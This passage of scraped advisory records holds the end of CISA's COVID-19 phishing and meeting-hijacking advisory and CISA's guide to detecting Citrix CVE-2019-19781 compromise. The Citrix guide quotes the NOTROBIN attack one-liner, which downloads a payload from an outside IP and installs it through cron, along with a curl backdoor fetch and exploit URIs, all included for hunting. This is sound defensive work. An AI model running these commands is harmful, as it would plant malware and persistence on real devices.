phishing emails. However, organizations that widen their defenses to include more technical measures can improve resilience against phishing attacks.\n\nIn addition to educating users on defending against these attacks, organizations should consider NCSC\u2019s guidance that splits mitigations into four layers, on which to build defenses:\n\n 1. Make it difficult for attackers to reach your users.\n 2. Help users identify and report suspected phishing emails (see CISA Tips, [Using Caution with Email Attachments](<https://www.us-cert.gov/ncas/tips/ST04-010>) and [Avoiding Social Engineering and Phishing Scams](<https://www.us-cert.gov/ncas/tips/ST04-014>)).\n 3. Protect your organization from the effects of undetected phishing emails.\n 4. Respond quickly to incidents.\n\nCISA and NCSC also recommend organizations plan for a percentage of phishing attacks to be successful. Planning for these incidents will help minimize the damage caused.\n\n## Communications platforms guidance for individuals and organizations\n\nDue to COVID-19, an increasing number of individuals and organizations are turning to communications platforms\u2014such as Zoom and Microsoft Teams\u2014 for online meetings. In turn, malicious cyber actors are hijacking online meetings that are not secured with passwords or that use unpatched software.\n\n**Tips for defending against online meeting hijacking** (Source: [FBI Warns of Teleconferencing and Online Classroom Hijacking During COVID-19 Pandemic](<https://www.fbi.gov/contact-us/field-offices/boston/news/press-releases/fbi-warns-of-teleconferencing-and-online-classroom-hijacking-during-covid-19-pandemic>), FBI press release, March 30, 2020):\n\n * Do not make meetings public. Instead, require a meeting password or use the waiting room feature and control the admittance of guests.\n * Do not share a link to a meeting on an unrestricted publicly available social media post. Provide the link directly to specific people.\n * Manage screensharing options. Change screensharing to \u201cHost Only.\u201d\n * Ensure users are using the updated version of remote access/meeting applications.\n * Ensure telework policies address requirements for physical and information security.\n\n## Disclaimers\n\n_This report draws on information derived from CISA, NCSC, and industry sources. Any findings and recommendations made have not been provided with the intention of avoiding all risks and following the recommendations will not remove all such risk. Ownership of information risks remains with the relevant system owner at all times._\n\n_CISA does not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply their endorsement, recommendation, or favoring by CISA._\n\n### References\n\n[[1] CovidLock ransomware exploits coronavirus with malicious Android app. TechRepublic.com. March 17, 2020.](<https://www.techrepublic.com/article/covidlock-ransomware-exploits-coronavirus-with-malicious-android-app/>)\n\n[[2] TrickBot Malware Targets Italy in Fake WHO Coronavirus Emails. Bleeping Computer. March 6, 2020.](<https://www.bleepingcomputer.com/news/security/trickbot-malware-targets-italy-in-fake-who-coronavirus-emails/>)\n\n[[3] Maze Ransomware Continues to Hit Healthcare Units amid Coronavirus (COVID-19) Outbreak. Security Boulevard. March 19, 2020.](<https://securityboulevard.com/2020/03/maze-ransomware-continues-to-hit-healthcare-units-amid-coronavirus-covid-19-outbreak/>)\n\n[[4] Spanish hospitals targeted with coronavirus-themed phishing lures in Netwalker ransomware attacks. Computing.co.uk. March 24, 2020.](<https://www.computing.co.uk/news/4012969/hospitals-coronavirus-ransomware>)\n\n[[5] COVID-19 Testing Center Hit By Cyberattack. Bleeping Computer. March 14, 2020.](<https://www.bleepingcomputer.com/news/security/covid-19-testing-center-hit-by-cyberattack/>)\n\n[[6] CISA Tip: Protecting Against Malicious Code](<https://www.us-cert.gov/ncas/tips/ST18-271>)\n\n[[7] CISA Ransomware webpage](<https://www.us-cert.gov/Ransomware>)\n\n[[8] NCSC Guidance: Mitigating malware and ransomware attacks](<https://www.ncsc.gov.uk/guidance/mitigating-malware-and-ransomware-attacks>)\n\n[[9] CISA Alert: Detecting Citrix CVE-2019-19781](<https://www.us-cert.gov/ncas/alerts/aa20-031a>)\n\n[[10] NCSC Alert: Actors exploiting Citrix products vulnerability](<https://www.ncsc.gov.uk/news/citrix-alert>)\n\n[[11] CISA Alert: Continued Exploitation of Pulse Secure VPN Vulnerability](<https://www.us-cert.gov/ncas/alerts/aa20-010a>)\n\n[[12] NCSC Alert: Vulnerabilities exploited in VPN products used worldwide](<https://www.ncsc.gov.uk/news/alert-vpn-vulnerabilities>)\n\n[[13] COVID-19 Impact: Cyber Criminals Target Zoom Domains. Check Point blog. March 30, 2020.](<https://blog.checkpoint.com/2020/03/30/covid-19-impact-cyber-criminals-target-zoom-domains/>)\n\n[[14] FBI Press Release: FBI Warns of Teleconferencing and Online Classroom Hijacking During COVID-19 Pandemic](<https://www.fbi.gov/contact-us/field-offices/boston/news/press-releases/fbi-warns-of-teleconferencing-and-online-classroom-hijacking-during-covid-19-pandemic>)\n\n[[15] Microsoft Security blog: Human-operated ransomware attacks: A preventable disaster. March 5, 2020. ](<https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/>)\n\n[[16] Reposify blog: 127% increase in exposed RDPs due to surge in remote work. March 30. 2020.](<https://blog.reposify.com/127-increase-in-exposed-rdps-due-to-surge-in-remote-work>)\n\n[[17] CISA Tip: Securing Network Infrastructure Devices](<https://www.us-cert.gov/ncas/tips/ST18-001>)\n\n### Revisions\n\nApril 8, 2020: Initial Version\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-04-08T12:00:00", "type": "ics", "title": "COVID-19 Exploited by Malicious Cyber Actors", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2020-04-08T12:00:00", "id": "AA20-099A", "href": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-099a", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-03-14T18:37:03", "description": "### Summary\n\nUnknown cyber network exploitation (CNE) actors have successfully compromised numerous organizations that employed vulnerable Citrix devices through a critical vulnerability known as CVE-2019-19781.[[1]](<https://www.citrix.com/blogs/2020/01/24/citrix-releases-final-fixes-for-cve-2019-19781/>)\n\nThough mitigations were released on the same day Citrix announced CVE-2019-19781, organizations that did not appropriately apply the mitigations were likely to be targeted once exploit code began circulating on the internet a few weeks later.\n\nCompromised systems cannot be remediated by applying software patches that were released to fix the vulnerability. Once CNE actors establish a foothold on an affected device, their presence remains even though the original attack vector has been closed.\n\nThe Cybersecurity and Infrastructure Security Agency (CISA) is releasing this Alert to provide tools and technologies to assist with detecting the presence of these CNE actors. Unpatched systems and systems compromised before the updates were applied remain susceptible to exploitation.\n\nContact [CISA](<https://www.us-cert.gov/report>), or the [FBI](<https://www.fbi.gov/contact-us/field-offices/field-offices>) to report an intrusion or to request assistance.\n\n### Technical Details\n\n## Detection\n\nCISA has developed the following procedures for detecting a CVE-2019-19781 compromise. \n\n#### HTTP Access and Error Log Review\n\n**Context:** Host Hunt\n\n**Type:** Methodology\n\nThe impacted Citrix products utilize Apache for web server software, and as a result, HTTP access and error logs should be available on the system for review in `/var/log`. Log files `httpaccess.log` and `httperror.log` should both be reviewed for the following Uniform Resource Identifiers (URIs), found in the proof of concept exploit that was released.\n\n * `'*/../vpns/*'`\n * `'*/vpns/cfg/smb.conf'`\n * `'*/vpns/portal/scripts/newbm.pl*'`\n * `'*/vpns/portal/scripts/rmbm.pl*'`\n * `'*/vpns/portal/scripts/picktheme.pl*'`\n\nNote: These URIs were observed in Security Information and Event Management detection content provided by <https://github.com/Neo23x0/sigma/blob/master/rules/web/web_citrix_cve_2019_19781_exploit.yml>.[[2]](<https://github.com/Neo23x0/sigma/blob/master/rules/web/web_citrix_cve_2019_19781_exploit.yml>)\n\nPer TrustedSec, a sign of successful exploitation would be a `POST` request to a URI containing `/../` or `/vpn`, followed by a GET request to an XML file. If any exploitation activity exists\u2014attempted or successful\u2014analysts should be able to identify the attacking Internet Protocol address(es). Tyler Hudak\u2019s blog provided sample logs indicating what a successful attack would look like.[[3]](<https://www.trustedsec.com/blog/netscaler-remote-code-execution-forensics/>)\n\n`10.1.1.1 - - [10/Jan/2020:13:23:51 +0000] \"POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1\" 200 143 \"https://10.1.1.2/\" \"USERAGENT \"`\n\n`10.1.1.1 - - [10/Jan/2020:13:23:53 +0000] \"GET /vpn/../vpns/portal/backdoor.xml HTTP/1.1\" 200 941 \"-\" \"USERAGENT\"`\n\nAdditionally, FireEye provided the following `grep` commands to assist with log review and help to identify suspicious activity.[[4]](<https://www.fireeye.com/blog/products-and-services/2020/01/rough-patch-promise-it-will-be-200-ok.html>)\n\n`grep -iE 'POST.*\\.pl HTTP/1\\.1\\\" 200 ' /var/log/httpaccess.log -A 1`\n\n`grep -iE 'GET.*\\.xml HTTP/1\\.1\\\" 200' /var/log/httpaccess.log -B 1`\n\n#### Running Processes Review\n\n**Context:** Host Hunt\n\n**Type:** Methodology\n\nReviewing the running processes on a system suspected of compromise for processes running under the `nobody `user can identify potential backdoors.\n\n`ps auxd | grep nobody`\n\nAnalysts should review the `ps` output for suspicious entries such as this:\n\n`nobody 63390 0.0 0.0 8320 16 ?? I 1:35PM 0:00.00 | | `\u2013 sh -c uname & curl -o \u2013 http://10.1.1.2/backdoor`\n\nFurther pivoting can be completed using the Process ID from the PS output:\n\n`lsof -p <pid>`\n\nDue to the nature of this exploit, it is likely that any processes related to a backdoor would be running under the `httpd` process.\n\n### Checking for NOTROBIN Presence\n\n**Context: **Host Hunt\n\n**Type:** Methodology\n\n`pkill -9 netscalerd; rm /var/tmp/netscalerd; mkdir /tmp/.init; curl -k`\n\n`hxxps://95.179.163[.]186/wp-content/uploads/2018/09/64d4c2d3ee56af4f4ca8171556d50faa -o`\n\n`/tmp/.init/httpd; chmod 744 /tmp/.init/httpd; echo \"* * * * *`\n\n`/var/nstmp/.nscache/httpd\" | crontab -; /tmp/.init/httpd &\"`\n\nThe above is the NOTROBIN Bash exploit code. To check for NOTROBIN Presence, analysts should look for the staging directory at `/tmp/.init` as well as `httpd` processes running as a cron job.\n\nRunning the command `find / -name \".init\" 2> /tmp/error.log` should return the path to the created staging directory while taking all of the errors and creating a file located at `/tmp/error.log`.\n\n### Additional /var/log Review\n\n**Context:** Host Hunt\n\n**Type:** Methodology\n\nAnalysts should focus on reviewing the following logs in `/var/log` on the Citrix device, if available. The underlying operating system is based on FreeBSD, and the logs are similar to what would be found on a Linux system. Analysts should focus on log entries related to the `nobody` user or `(null) on` and should try to identify any suspicious commands that may have been run, such as `whoami` or `curl`. Please keep in mind that logs are rotated and compressed, and additional activity may be found in the archives (.gz files) for each log.\n\n**bash.log**\n\nSample Log Entry:\n\n`Jan 10 13:35:47`\n\n`<local7.notice> ns bash[63394]: nobody on /dev/pts/3`\n\n`shell_command=\"hostname\"`\n\nNote: The bash log can provide the user (`nobody`), command (`hostname`), and process id (`63394`) related to the nefarious activity.\n\n**sh.log**\n\n**notice.log**\n\n### Check Crontab for Persistence\n\n**Context:** Host Hunt\n\n**Type: **Methodology\n\nAs with running processes and log entries, any cron jobs created by the user `nobody` are a cause for concern and likely related to a persistence mechanism established by an attacker. Additionally, search for a `httpd` process within the crontab to determine if a system has been affected by NOTROBIN. Analysts can review entries on a live system using the following command:\n\n`crontab -l -u nobody`\n\n### Existence of Unusual Files\n\n**Context:** Host Hunt\n\n**Type:** Methodology\n\nOpen-source outlets have reported that during incident response activities, attackers exploiting this vulnerability have been placing malicious files in the following directories. Analysts should review file listings for these directories and determine if any suspicious files are present on the server.\n\n * `/netscaler/portal/templates`\n * `/var/tmp/netscaler/portal/templates`\n\n### Snort Alerts\n\n**Context: **Network Alert\n\n**Type: **Signatures\n\nAlthough most activity related to exploitation of the Citrix vulnerability would use SSL, FireEye noted that an HTTP scanner is available to check for the vulnerability. The following Snort rules were provided in FireEye\u2019s blog post and would likely indicate a vulnerable Citrix server.[5] These rules should be tuned for the environment and restricted to the IP addresses of the Citrix server(s) to reduce potential false positives.\n\n`alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:\"Potential CVE-2019-19781 vulnerable .CONF response\"; flow:established,to_client; content:\"HTTP/1.\"; depth:7; content:\"200 OK\"; distance:1; content:\"|0d0a|Server: Apache\"; distance:0; content:\"al]|0d0a|\"; distance:0; content:\"encrypt passwords\"; distance:0; content:\"name resolve order\"; reference:cve,2019-19781; reference:url,https://www.fireeye.com/blog/products-and-services/2020/01/rough-patch-promise-it-will-be-200-ok.html; sid:201919781; rev:1;)`\n\n`alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:\"Potential CVE-2019-19781 vulnerable .PL response\"; flow:established,to_client; content:\"HTTP/1.\"; depth:7;`\n\n`content:\"200 OK\"; distance:1; content:\"|0d0a|Server: Apache\"; distance:0; `\n\n`content:\"|0d0a|Connection: Keep-Alive\"; `\n\n`content:\"|0d0a0d0a3c48544d4c3e0a3c424f44593e0a3c534352495054206c616e67756167653d6`\n\n`a61766173637269707420747970653d746578742f6a6176617363726970743e0a2f2f706172656e74`\n\n`2e77696e646f772e6e735f72656c6f616428293b0a77696e646f772e636c6f736528293b0a3c2f534`\n\n`3524950543e0a3c2f424f44593e0a3c2f48544d4c3e0a|\"; reference:cve,2019-19781; reference:url,https://www.fireeye.com/blog/products-and-services/2020/01/rough-patch-promise-it-will-be-200-ok.html; sid:201919781; rev:1;)`\n\n### Suspicious Network Traffic\n\n**Context:** Network Hunt\n\n**Type: **Methodology\n\nFrom a network perspective, this vulnerability will likely not be detectable, given that the traffic will likely be encrypted (SSL). Additionally, due to where they sit on networks, devices such as these are typically not covered in traditional network monitoring and ingress traffic to the device may not be part of a normal SPAN port configuration. In the event network monitoring is available and attackers are using HTTP versions of this exploit, CISA recommends looking for URIs containing `/../` or `/vpns/` to identify potentially malicious activity. It is also worth surveying the traffic for any requests to .xml files or perl (.pl) files as well, as this would not be consistent with normal Citrix web activity. As with the web logs, analysts would be looking for a successful `POST` request followed by a successful `GET` request with the aforementioned characteristics.\n\nGiven that a compromise occurred, activity to look for would be outbound traffic from the Citrix server, both to internal and external hosts. In theory, if an attacker placed a backdoor on the system, it should be connecting outbound to a command and control server. This traffic would most likely be anomalous (outbound TCP Port 80 or 443), given that one would only expect to see inbound TCP/443 traffic to the Citrix server as normal activity. If an attacker is leveraging a Citrix device as an entry point to an organization, anomalous internal traffic could potentially be visible in bro data such as scanning, file transfers, or lateral movement. An exception to internal traffic is that the Citrix ADC device is much more than just an SSL VPN device and is used for multiple types of load balancing. As a result, an ADC device may be communicating with internal systems legitimately (web servers, file servers, custom applications, etc.).\n\n**Inbound Exploitation Activity (Suspicious URIs)**\n\n`index=bro dest=<CITRIX_IP_ADDR> sourcetype=bro_http uri=*/../* OR uri=*/vpn* OR uri=*.pl OR uri=*.xml`\n\n**Outbound Traffic Search (Backdoor C2)**\n\n`index=bro sourcetype=bro_conn src=<CITRIX_IP_ADDR> dest!=<INTERNAL_NET>`\n\n`| stats count by src dest dest_port`\n\n`| sort -count`\n\nThe following resources provide additional detection measures.\n\n * Citrix and FireEye Mandiant released an IOC scanning tool for CVE-2019-19781.[[6]](<https://github.com/citrix/ioc-scanner-CVE-2019-19781/>) The tool aids customers with detecting potential IOCs based on known attacks and exploits.\n * The National Security Agency released a Cybersecurity Advisory on CVE-2019-19781 with additional detection measures.[[7]](<https://media.defense.gov/2020/Jan/10/2002233132/-1/-1/0/CSA%20FOR%20CITRIXADCANDCITRIXGATEWAY_20200109.PDF>)\n * CISA released a utility that enables users and administrators to detect whether their Citrix ADC and Citrix Gateway firmware is susceptible to CVE-2019-19781.[[8]](<https://github.com/cisagov/check-cve-2019-19781>)\n\n## Impact\n\nCVE-2019-19781 is an arbitrary code execution vulnerability that has been detected in exploits in the wild. An attacker can exploit this vulnerability to take control of an affected system.\n\nThe vulnerability affects the following appliances:\n\n * Citrix NetScaler ADC and NetScaler Gateway version 10.5 \u2013 all supported builds before 10.5.70.12\n * Citrix ADC and NetScaler Gateway version 11.1 \u2013 all supported builds before 11.1.63.15\n * Citrix ADC and NetScaler Gateway version 12.0 \u2013 all supported builds before 12.0.63.13\n * Citrix ADC and NetScaler Gateway version 12.1 \u2013 all supported builds before 12.1.55.18\n * Citrix ADC and Citrix Gateway version 13.0 \u2013 all supported builds before 13.0.47.24\n * Citrix SD-WAN WANOP appliance models 4000-WO, 4100-WO, 5000-WO, and 5100-WO \u2013 all supported software release builds before 10.2.6b and 11.0.3b. (Citrix SD-WAN WANOP is vulnerable because it packages Citrix ADC as a load balancer).\n\n### Mitigations\n\nThe resources provided include steps for standalone, HA pairs, and clustered Citrix instances.\n\n * Use Citrix's tool to check for the vulnerability. \n * <https://support.citrix.com/article/CTX269180>\n * Use an open-source utility to check for the vulnerability or previous device compromise. \n * <https://github.com/cisagov/check-cve-2019-19781>_ _\n * <https://github.com/x1sec/citrixmash_scanner>\n * <https://github.com/fireeye/ioc-scanner-CVE-2019-19781/releases/tag/v1.2>\n * Follow instructions from Citrix to mitigate the vulnerability. \n * <https://support.citrix.com/article/CTX267679>\n * <https://support.citrix.com/article/CTX267027>\n * Upgrade firmware to a patched version. \n * Subscribe to Citrix Alerts for firmware updates. \n * <https://support.citrix.com/user/alerts>\n * Patch devices to the most current version. \n * <https://www.citrix.com/downloads/citrix-gateway/>\n * <https://www.citrix.com/downloads/citrix-adc/>\n * <https://www.citrix.com/downloads/citrix-sd-wan/>\n\nConsider deploying a VPN capability using standardized protocols, preferably ones listed on the National Information Assurance Partnership (NIAP) Product Compliant List (PCL), in front of publicly accessible gateway appliances to require user authentication for the VPN before being able to reach these appliances.\n\nCISA's Tip [Handling Destructive Malware](<https://www.us-cert.gov/ncas/tips/ST13-003>) provides additional information, including best practices and incident response strategies.\n\n### References\n\n[[1] Citrix blog: Citrix releases final fixes for CVE-2019-19781](<https://www.citrix.com/blogs/2020/01/24/citrix-releases-final-fixes-for-cve-2019-19781/>)\n\n[[2] GitHub web_citrix_cve_2019_19781_exploit.yml ](<https://github.com/Neo23x0/sigma/blob/master/rules/web/web_citrix_cve_2019_19781_exploit.yml>)\n\n[[3] TrustedSec blog: NetScaler Remote Code Execution Forensics](<https://www.trustedsec.com/blog/netscaler-remote-code-execution-forensics/>)\n\n[[4] FireEye blog: Rough Patch: I Promise It'll Be 200 OK (Citrix ADC CVE-2019-19781)](<https://www.fireeye.com/blog/products-and-services/2020/01/rough-patch-promise-it-will-be-200-ok.html>)\n\n[[5] FireEye blog: Rough Patch: I Promise It'll Be 200 OK (Citrix ADC CVE-2019-19781)](<https://www.fireeye.com/blog/products-and-services/2020/01/rough-patch-promise-it-will-be-200-ok.html>)\n\n[[6] IOC scanning tool for CVE-2019-19781](<https://github.com/citrix/ioc-scanner-CVE-2019-19781/>)\n\n[[7] NSA Cybersecurity Advisory: Mitigate CVE-2019-19781: Critical Vulnerability](<https://media.defense.gov/2020/Jan/10/2002233132/-1/-1/0/CSA%20FOR%20CITRIXADCANDCITRIXGATEWAY_20200109.PDF>)\n\n[[8] CISA Vulnerability Test Tool](<https://github.com/cisagov/check-cve-2019-19781>)\n\n### Revisions\n\nJanuary 31, 2020: Initial Version|February 7, 2020: Added link to the Australian Cyber Security Centre script\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-05-21T12:00:00", "type": "ics", "title": "Detecting Citrix CVE-2019-19781", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": &q
Citrix Warns of Critical Flaws in XenMobile Server
